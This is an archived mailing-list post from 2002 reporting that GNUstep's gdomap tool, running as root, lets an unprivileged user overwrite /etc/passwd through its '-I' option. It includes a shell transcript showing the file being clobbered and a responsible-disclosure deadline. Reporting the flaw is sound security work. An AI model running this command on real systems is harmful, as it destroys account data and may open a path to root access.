[Date Prev][Date Next][Thread Prev][Thread Next][Date Index][Thread Index]
Serious bug in gdomap (from gnustep-base-1.3.3)
From: |
James Kehl |
Subject: |
Serious bug in gdomap (from gnustep-base-1.3.3) |
Date: |
Tue, 02 Jul 2002 20:02:56 +1000 |
User-agent: |
Mozilla/5.0 (X11; U; Linux i586; en-US; rv:1.0rc1) Gecko/20020417 |
Can I please beg you to make gdomap run as a user other than root by
default!?
I am using gnustep-base-1.3.3 compiled from source; running on RedHat
Linux 7.3. Everything is default apart from using flattened paths in
gnustep-make.
Today's problem:
--
[shykta@mixmaster shykta]$ id -a
uid=500(shykta) gid=100(users) groups=100(users),3(sys),20(games)
[shykta@mixmaster shykta]$ la /etc/passwd
-rw-r--r-- 1 root root 1592 Jul 2 19:15 /etc/passwd
[shykta@mixmaster shykta]$ tail -n 1 /etc/passwd
demouser:x:505:505::/home/demouser:/bin/bash
[shykta@mixmaster shykta]$ /usr/GNUstep/System/Tools/gdomap -I /etc/passwd
[shykta@mixmaster shykta]$ tail -n 1 /etc/passwd
28812
--
That's a very, very bad thing to happen. I'm sure there's even a
creative way for a unprivileged user to get root access using this bug.
I don't want to sound unfriendly (I like GNUstep) but I'm going to wait
7 days for a response to this email, and if I haven't heard from you by
then, I'll be thinking about how to disclose this.
( a' la RFPolicy - http://www.wiretrip.net/rfp/policy.html )
I apologise for the inconvenience!
James.
- Serious bug in gdomap (from gnustep-base-1.3.3),
James Kehl <=